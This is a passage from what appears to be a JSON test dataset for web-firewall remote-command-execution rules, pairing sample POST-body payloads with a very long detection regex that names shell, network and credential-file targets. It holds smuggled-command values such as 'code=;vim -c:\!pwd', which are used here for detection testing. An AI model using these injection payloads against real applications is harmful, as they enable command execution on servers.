\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0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)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "9323HNQU - should not be detected at PL 2" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;vim -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#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?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?t)|[\\n\\r;=`\\{]|\\|\\|?|&&?|\\$(?:\\(\\(?|[\\[\\{])|<(?:\\(|<<)|>\\(|\\([\\s\\x0b]*\\))[\\s\\x0b]*(?:[\\$\\{]|(?:[\\s\\x0b]*\\(|!)[\\s\\x0b]*|[0-9A-Z_a-z]+=(?:[^\\s\\x0b]*|\\$(?:.*|.*)|[<>].*|'[^']*'|\\\"[^\\\"]*\\\")[\\s\\x0b]+)*[\\s\\x0b]*[\\\"']*(?:[\\\"'-\\+\\--9\\?A-\\]_a-z\\|]+/)?[\\\"'\\x5c]*(?:7z(?:[\\s\\x0b&\\),<>\\|]|$|[arx](?:[\\s\\x0b&\\),<>\\|]|$))|a(?:a-[^\\s\\x0b]{1,10}\\b|(?:b|w[ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:[\\s\\x0b&\\),<>\\|]|$|letest|(?:n(?:d|ger)|sh)(?:[\\s\\x0b&\\),<>\\|]|$))|tp(?:[\\s\\x0b&\\),<>\\|]|$|stats|who)|acter|o(?:ld(?:[\\s\\x0b&\\),<>\\|]|$)|reach)|ping(?:[\\s\\x0b&\\),6<>\\|]|$))|g(?:c(?:c[^\\s\\x0b]{1,10}\\b|ore(?:[\\s\\x0b&\\),<>\\|]|$))|(?:db|i(?:t|mp|nsh)|o|pg|awk|z(?:cat|exe|ip))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:m(?:[\\s\\x0b&\\),<>\\|]|$)|ni(?:e(?:[\\s\\x0b&\\),<>\\|]|$)|soimage)|t(?:cap|facl(?:[\\s\\x0b&\\),<>\\|]|$)))|hc(?:[\\s\\x0b&\\),<>\\|]|$|-(?:[\\s\\x0b&\\),<>\\|]|$)|i(?:[\\s\\x0b&\\),\\-<>\\|]|$))|r(?:c(?:[\\s\\x0b&\\),<>\\|]|$|at(?:[\\s\\x0b&\\),<>\\|]|$))|ep(?:[\\s\\x0b&\\),<>\\|]|$)|oup(?:[\\s\\x0b&\\),<>\\|]|$|mod))|tester|unzip)|h(?:(?:d|up|i(?:ghlight|story))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ad(?:[\\s\\x0b&\\),<>\\|]|$)|xdump)|ost(?:id|name)|ping3|t(?:digest|op(?:[\\s\\x0b&\\),<>\\|]|$)|passwd))|i(?:p(?:[\\s\\x0b&\\),<>\\|]|$|6?tables|config|p(?:eveprinter|find|tool))|(?:rb|conv)(?:[\\s\\x0b&\\),<>\\|]|$)|f(?:config|top(?:[\\s\\x0b&\\),<>\\|]|$))|onice|spell)|j(?:(?:js|q|exec)(?:[\\s\\x0b&\\),<>\\|]|$)|o(?:(?:bs|in)(?:[\\s\\x0b&\\),<>\\|]|$)|urnalctl)|runscript)|k(?:s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|shell)|ill(?:[\\s\\x0b&\\),<>\\|]|$|all)|nife(?:[\\s\\x0b&\\),<>\\|]|$))|l(?:d(?:[\\s\\x0b&\\),<>\\|]|$|d(?:[\\s\\x0b&\\),<>\\|]|$)|config)|(?:[np]|inks|ynx)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:-F|cpu|hw|mod|of|pci|usb)(?:[\\s\\x0b&\\),<>\\|]|$)|b_release)|ua(?:[\\s\\x0b&\\),<>\\|]|$|(?:la)?tex)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$|c(?:[\\s\\x0b&\\),<>\\|]|$|at))|(?:c(?:at|mp))?(?:[\\s\\x0b&\\),<>\\|]|$)|diff|[ef]?grep|less|m(?:a(?:[\\s\\x0b&\\),<>\\|]|$|dec|info)|ore))|a(?:st(?:[\\s\\x0b&\\),<>\\|]|$|comm(?:[\\s\\x0b&\\),<>\\|]|$)|log(?:in)?)|tex(?:[\\s\\x0b&\\),<>\\|]|$))|ess(?:[\\s\\x0b&\\),<>\\|]|$|echo|(?:fil|pip)e)|ftp(?:[\\s\\x0b&\\),<>\\|]|$|get)|o(?:(?:ca(?:l|te)|ok)(?:[\\s\\x0b&\\),<>\\|]|$)|g(?:inctl|(?:nam|sav)e)|setup)|trace|wp-(?:d(?:ownload|ump)|mirror|request))|m(?:a(?:(?:n|il[qx]|ke|wk)(?:[\\s\\x0b&\\),<>\\|]|$)|ster\\.passwd)|(?:tr|v|utt)(?:[\\s\\x0b&\\),<>\\|]|$)|k(?:(?:dir|nod)(?:[\\s\\x0b&\\),<>\\|]|$)|fifo|temp)|locate|o(?:squitto|unt(?:[\\s\\x0b&\\),<>\\|]|$))|sg(?:attrib|c(?:at|onv)|filter|merge|uniq)|ysql(?:[\\s\\x0b&\\),<>\\|]|$|admin|dump(?:slow)?|hotcopy|show))|n(?:c(?:[\\s\\x0b&\\),<>\\|]|$|\\.(?:openbsd|traditional)|at(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:t(?:[\\s\\x0b&\\),<>\\|]|$|(?:c|st)at|kit-ftp|plan)|ofetch)|(?:l|p(?:m|ing)|a(?:no|sm|wk)|ice|o(?:de|hup)|roff)(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:[\\s\\x0b&\\),<>\\|]|$|ap(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:enter|lookup|tat(?:[\\s\\x0b&\\),<>\\|]|$)))|o(?:(?:d|ctave)(?:[\\s\\x0b&\\),<>\\|]|$)|nintr|p(?:en(?:ssl|v(?:pn|t))|kg(?:[\\s\\x0b&\\),<>\\|]|$)))|p(?:a(?:(?:x|rted|tch)(?:[\\s\\x0b&\\),<>\\|]|$)|s(?:swd|te(?:[\\s\\x0b&\\),<>\\|]|$)))|d(?:b(?:[\\s\\x0b&\\),<>\\|]|$|2mb|3(?:[\\s\\x0b&\\),\\.<>\\|]|$))|f(?:la)?tex|ksh(?:[\\s\\x0b&\\),<>\\|]|$))|f(?:[\\s\\x0b&\\),<>\\|]|$|tp(?:[\\s\\x0b&\\),<>\\|]|$))|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$|o(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:[^\\s\\x0b]{1,10}\\b|[\\s\\x0b&\\),<>\\|]|$)|dstat|(?:gz|ng6?)(?:[\\s\\x0b&\\),<>\\|]|$))|k(?:g(?:[\\s\\x0b&\\),<>\\|]|$|_?info)|exec|ill(?:[\\s\\x0b&\\),<>\\|]|$))|r(?:[\\s\\x0b&\\),<>\\|]|$|y(?:[\\s\\x0b&\\),<>\\|]|$)|int(?:env|f(?:[\\s\\x0b&\\),<>\\|]|$)))|t(?:x(?:[\\s\\x0b&\\),<>\\|]|$)|ar(?:[\\s\\x0b&\\),<>\\|]|$|diff|grep))|wd(?:[\\s\\x0b&\\),<>\\|]|$|\\.db)|(?:xz|grep|opd|u(?:ppet|shd))(?:[\\s\\x0b&\\),<>\\|]|$)|er(?:(?:f|ms)(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:5?(?:[\\s\\x0b&\\),<>\\|]|$)|sh))|hp(?:-cgi|[57](?:[\\s\\x0b&\\),<>\\|]|$))|s(?:(?:ed|ql)(?:[\\s\\x0b&\\),<>\\|]|$)|ftp)|y(?:3?versions|thon(?:[23]|[^\\s\\x0b]{1,10}\\b)))|r(?:(?:a(?:r|k[eu])|bash|nano|oute|vi(?:ew|m))(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:[\\s\\x0b&\\),<>\\|]|$|p(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:d(?:[\\s\\x0b&\\),<>\\|]|$|carpet(?:[\\s\\x0b&\\),<>\\|]|$))|(?:v|boot|place)(?:[\\s\\x0b&\\),<>\\|]|$)|a(?:delf|lpath)|stic)|m(?:[\\s\\x0b&\\),<>\\|]|$|t(?:[\\s\\x0b&\\),<>\\|]|$|-(?:dump|tar))|dir(?:[\\s\\x0b&\\),<>\\|]|$)|user)|pm(?:[\\s\\x0b&\\),<>\\|]|$|db(?:[\\s\\x0b&\\),<>\\|]|$)|(?:quer|verif)y)|l(?:ogin|wrap)|sync(?:-ssl|[\\s\\x0b&\\),<>\\|]|$)|u(?:by[^\\s\\x0b]{1,10}\\b|n(?:-(?:mailcap|parts)|c(?:[\\s\\x0b&\\),<>\\|]|$))))|s(?:(?:c(?:p|hed|ript)|g|ash|diff|(?:ft|na)p|l(?:eep|sh))(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:(?:d|ndmail|rvice)(?:[\\s\\x0b&\\),<>\\|]|$)|t(?:[\\s\\x0b&\\),<>\\|]|$|arch|cap|env|facl(?:[\\s\\x0b&\\),<>\\|]|$)|sid))|h(?:[\\s\\x0b&\\),<>\\|]|$|\\.distrib|(?:adow|ells|u(?:f|tdown))(?:[\\s\\x0b&\\),<>\\|]|$))|sh(?:[\\s\\x0b&\\),<>\\|]|$|-(?:a(?:dd|gent)|copy-id|key(?:ge|sca)n)|pass)|u(?:[\\s\\x0b&\\),<>\\|]|$|do(?:-rs|[\\s\\x0b&\\),<>_\\|]|$|edit|replay))|vn(?:[\\s\\x0b&\\),<>\\|]|$|a(?:dmin|uthz)|bench|dumpfilter|fsfs|look|mucc|rdump|s(?:erve|ync)|version)|mbclient|o(?:cat(?:[\\s\\x0b&\\),<>\\|]|$)|elim)|p(?:lit(?:[\\s\\x0b&\\),<>\\|]|$)|wd\\.db)|qlite3|t(?:art-stop-daemon|d(?:buf|err|in(?:[\\s\\x0b&\\),<>\\|]|$)|out)|r(?:ace|ings(?:[\\s\\x0b&\\),<>\\|]|$)))|ys(?:ctl|tem(?:ctl|d-resolve)))|t(?:a(?:[cr](?:[\\s\\x0b&\\),<>\\|]|$)|il(?:[\\s\\x0b&\\),<>\\|]|$|f(?:[\\s\\x0b&\\),<>\\|]|$))|skset)|(?:bl|o(?:p|uch)|ftp|mux)(?:[\\s\\x0b&\\),<>\\|]|$)|c(?:p(?:[\\s\\x0b&\\),<>\\|]|$|dump|ing|traceroute)|l?sh(?:[\\s\\x0b&\\),<>\\|]|$))|e(?:[ex](?:[\\s\\x0b&\\),<>\\|]|$)|lnet)|i(?:c(?:[\\s\\x0b&\\),<>\\|]|$)|medatectl)|r(?:aceroute6?|off(?:[\\s\\x0b&\\),<>\\|]|$))|shark)|u(?:dp(?:[\\s\\x0b&\\),<>\\|]|$)|l(?:[\\s\\x0b&\\),<>\\|]|$|imit(?:[\\s\\x0b&\\),<>\\|]|$))|n(?:(?:compress|iq|rar|s(?:et|hare)|xz)(?:[\\s\\x0b&\\),<>\\|]|$)|expand|l(?:ink(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:4(?:[\\s\\x0b&\\),<>\\|]|$)|ma))|pigz|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$)|std))|pdate-alternatives|ser(?:(?:ad|mo)d|del)|u(?:de|en)code)|v(?:i(?:m(?:[\\s\\x0b&\\),<>\\|]|$|diff)|(?:gr|pw|rsh)(?:[\\s\\x0b&\\),<>\\|]|$)|sudo(?:-rs)?)|algrind|olatility(?:[\\s\\x0b&\\),<>\\|]|$))|w(?:(?:3m|c|atch|get)(?:[\\s\\x0b&\\),<>\\|]|$)|h(?:iptail(?:[\\s\\x0b&\\),<>\\|]|$)|oami)|i(?:reshark|sh(?:[\\s\\x0b&\\),<>\\|]|$)))|x(?:(?:(?:x|pa)d|args|term)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:[\\s\\x0b&\\),<>\\|]|$|c(?:at|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:ec(?:[\\s\\x0b&\\),<>\\|]|$)|iff)|[ef]?grep|less|more)|e(?:latex|tex(?:[\\s\\x0b&\\),<>\\|]|$))|mo(?:dmap|re(?:[\\s\\x0b&\\),<>\\|]|$)))|y(?:um|arn|elp)(?:[\\s\\x0b&\\),<>\\|]|$)|z(?:ip(?:[\\s\\x0b&\\),<>\\|]|$|c(?:loak|mp)|details|grep|info|(?:merg|not)e|split|tool)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|oelim|td(?:[\\s\\x0b&\\),<>\\|]|$|(?:ca|m)t|grep|less))|athura|(?:c(?:at|mp)|diff|grep|less|run)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:grep|ro(?:[\\s\\x0b&\\),<>\\|]|$))|fgrep|mo(?:dload|re(?:[\\s\\x0b&\\),<>\\|]|$))|ypper))", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-rce" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "932236", "test_description": "9323HNQU" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=;ex -c:\\!pwd\n" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)(?:^|b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?u[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?s[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?y[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?b[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?o[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(\\*\\-0-9\\?@_a-\\{]*)?\\x5c?x|(?:c[\\\"'\\)\\[\\x5c]*(?:(?:(?:\\|\\||&&)[\\s\\x0b]*)?\\$[!#\\(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ks]|l(?:ias|pine)|tobm|xel)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:t(?:[\\s\\x0b&\\),<>\\|]|$|-get)|parmor_[^\\s\\x0b]{1,10}\\b)|r(?:[\\s\\x0b&\\),<>\\|]|$|j(?:[\\s\\x0b&\\),<>\\|]|$|-register|disp)|(?:p|ch)(?:[\\s\\x0b&\\),<>\\|]|$)|ia2c)|s(?:h(?:[\\s\\x0b&\\),<>\\|]|$)|cii(?:-xfr|85)|pell)|dd(?:group|user)|getty|nsible|u(?:ditctl|repot|search))|b(?:z(?:(?:z|c(?:at|mp))(?:[\\s\\x0b&\\),<>\\|]|$)|diff|e(?:grep|xe(?:[\\s\\x0b&\\),<>\\|]|$))|f?grep|ip2(?:[\\s\\x0b&\\),<>\\|]|$|recover)|less|more)|a(?:s(?:e(?:32|64|n(?:ame(?:[\\s\\x0b&\\),<>\\|]|$)|c))|h(?:[\\s\\x0b&\\),<>\\|]|$))|tch(?:[\\s\\x0b&\\),<>\\|]|$))|lkid(?:[\\s\\x0b&\\),<>\\|]|$)|pftrace|r(?:eaksw|(?:idge|wap)(?:[\\s\\x0b&\\),<>\\|]|$))|sd(?:cat|iff|tar)|u(?:iltin|n(?:dler(?:[\\s\\x0b&\\),<>\\|]|$)|zip2)|s(?:ctl|ybox))|y(?:ebug|obu(?:[\\s\\x0b&\\),<>\\|]|$)))|c(?:[89]9(?:[\\s\\x0b&\\),<>\\|]|$|-gcc)|(?:a(?:t|ncel|psh)|c|mp)(?:[\\s\\x0b&\\),<>\\|]|$)|p(?:[\\s\\x0b&\\),<>\\|]|$|(?:an|io)(?:[\\s\\x0b&\\),<>\\|]|$)|ulimit)|s(?:(?:h|cli)(?:[\\s\\x0b&\\),<>\\|]|$)|plit|vtool)|u(?:(?:t|rl)(?:[\\s\\x0b&\\),<>\\|]|$)|psfilter)|ertbot|h(?:(?:(?:att|di)r|mod|o(?:om|wn)|root|sh)(?:[\\s\\x0b&\\),<>\\|]|$)|e(?:ck_(?:by_ssh|cups|log|memory|raid|s(?:sl_cert|tatusfile))|f(?:[\\s\\x0b&\\),\\-<>\\|]|$))|(?:flag|pas)s|g(?:passwd|rp(?:[\\s\\x0b&\\),<>\\|]|$)))|lang(?:\\+\\+|[\\s\\x0b&\\),<>\\|]|$)|o(?:bc(?:[\\s\\x0b&\\),<>\\|]|$|run)|lumn(?:[\\s\\x0b&\\),<>\\|]|$)|m(?:m(?:[\\s\\x0b&\\),<>\\|]|$|and(?:[\\s\\x0b&\\),<>\\|]|$))|p(?:oser|ress)(?:[\\s\\x0b&\\),<>\\|]|$))|proc|w(?:say|think))|r(?:ash(?:[\\s\\x0b&\\),<>\\|]|$)|ontab))|d(?:(?:[dfu]|i(?:(?:alo)?g|ff)|ash|vips)(?:[\\s\\x0b&\\),<>\\|]|$)|hclient|m(?:esg(?:[\\s\\x0b&\\),<>\\|]|$)|idecode|setup)|o(?:(?:as|ne)(?:[\\s\\x0b&\\),<>\\|]|$)|cker(?:[\\s\\x0b&\\),\\-<>\\|]|$)|sbox)|pkg(?:[\\s\\x0b&\\),\\-<>\\|]|$))|e(?:(?:b|qn|cho|fax|grep|macs|val)(?:[\\s\\x0b&\\),<>\\|]|$)|n(?:v(?:[\\s\\x0b&\\),<>\\|]|$|-update)|d(?:if|sw)(?:[\\s\\x0b&\\),<>\\|]|$))|s(?:[\\s\\x0b&\\),<>\\|]|$|(?:h|ac)(?:[\\s\\x0b&\\),<>\\|]|$))|x(?:[\\s\\x0b&\\),<>\\|]|$|(?:ec|p(?:and|(?:ec|or)t|r))(?:[\\s\\x0b&\\),<>\\|]|$)|iftool)|2fsck|asy_install)|f(?:(?:c|mt|etch|lock|unction)(?:[\\s\\x0b&\\),<>\\|]|$)|d(?:[\\s\\x0b&\\),<>\\|]|$|(?:find|isk)(?:[\\s\\x0b&\\),<>\\|]|$)|u?mount)|g(?:[\\s\\x0b&\\),<>\\|]|$|rep(?:[\\s\\x0